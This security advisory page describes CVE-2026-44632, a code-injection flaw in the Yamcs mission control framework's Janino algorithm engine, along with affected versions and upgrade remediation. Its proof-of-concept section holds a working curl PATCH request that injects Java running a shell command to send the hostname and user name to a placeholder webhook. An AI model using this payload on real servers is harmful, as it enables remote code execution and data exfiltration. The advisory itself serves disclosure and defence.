CVE-2026-44632: Yamcs: Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`

Published May 27, 2026
·
Updated

Summary A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.

Proof of Concept (PoC) The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.

Prerequisites: 1. A running Yamcs instance with an active processor (e.g., instance=myproject, processor=realtime). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.

Steps to Reproduce:

1. Send an authenticated HTTP PATCH request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., copySunsensor). The payload uses java.lang.Runtime to execute a reverse shell or ping an external webhook.

bash curl -i -X PATCH \ 'http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOURAUTHTOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/$(hostname)$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);" } }'

2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to generate sun sensor data). 3. The Yamcs server uses the Janino SimpleCompiler to compile the injected text into a Java class on the fly. Since no restrictive ClassLoader is applied, the payload is successfully compiled and executed. 4. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.

Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Other sources

Yamcs is a mission control framework. Prior to 5.12.7, a server-side code injection vulnerability existed in the Yamcs algorithm evaluation engine org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory, which dynamically compiled and evaluated user-controlled algorithm text through the Janino compiler without enforcing a secure sandbox, so an authenticated user with the ChangeMissionDatabase privilege could override an existing algorithm's text via the mission database REST API and inject Java code (for example using java.lang.Runtime) to achieve remote code execution on the underlying host operating system. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.

MITRE

Affected Software

2 affected componentsFixes available
maven/org.yamcs:yamcs-core<5.12.7
5.12.7
Spaceapplications Yamcs<5.12.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.12.7
  2. Upgrade

    Upgrade yamcs to a version that resolves this vulnerability.

    Fixed in 5.12.7
  3. Upgrade

    Upgrade yamcs to a version that resolves this vulnerability.

    Fixed in 5.13.0
  4. Configuration

    Ensure algorithm editing is disabled by default (fixed in Yamcs versions 5.12.7 and 5.13.0) so user-controlled algorithm text cannot be injected/overridden via the MDB override endpoint.

    Yamcs algorithm evaluation engine (JavaExprAlgorithmExecutionFactory) algorithm editing (default) = disabled

Event History

May 27, 2026
Advisory Published
via GitHub·12:05 AM
Data Sourced
via GitHub·12:05 AM
DescriptionSeverityWeaknessAffected Software
Jul 16, 2026
CVE Published
via MITRE·04:05 PM
Data Sourced
via MITRE·04:05 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44632?

CVE-2026-44632 has a critical severity rating of 9.1.

2

What type of vulnerability is CVE-2026-44632?

CVE-2026-44632 is a Server-Side Code Injection vulnerability.

3

How does CVE-2026-44632 impact the software?

CVE-2026-44632 allows an authenticated user to inject malicious code through dynamic compilation and execution of user-controlled algorithm text.

4

What software is affected by CVE-2026-44632?

CVE-2026-44632 affects the Yamcs algorithm evaluation engine within the maven/org.yamcs:yamcs-core software.

5

How can I mitigate the risks of CVE-2026-44632?

To mitigate the risks of CVE-2026-44632, ensure that user-controlled algorithm text is handled in a secure sandbox environment.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203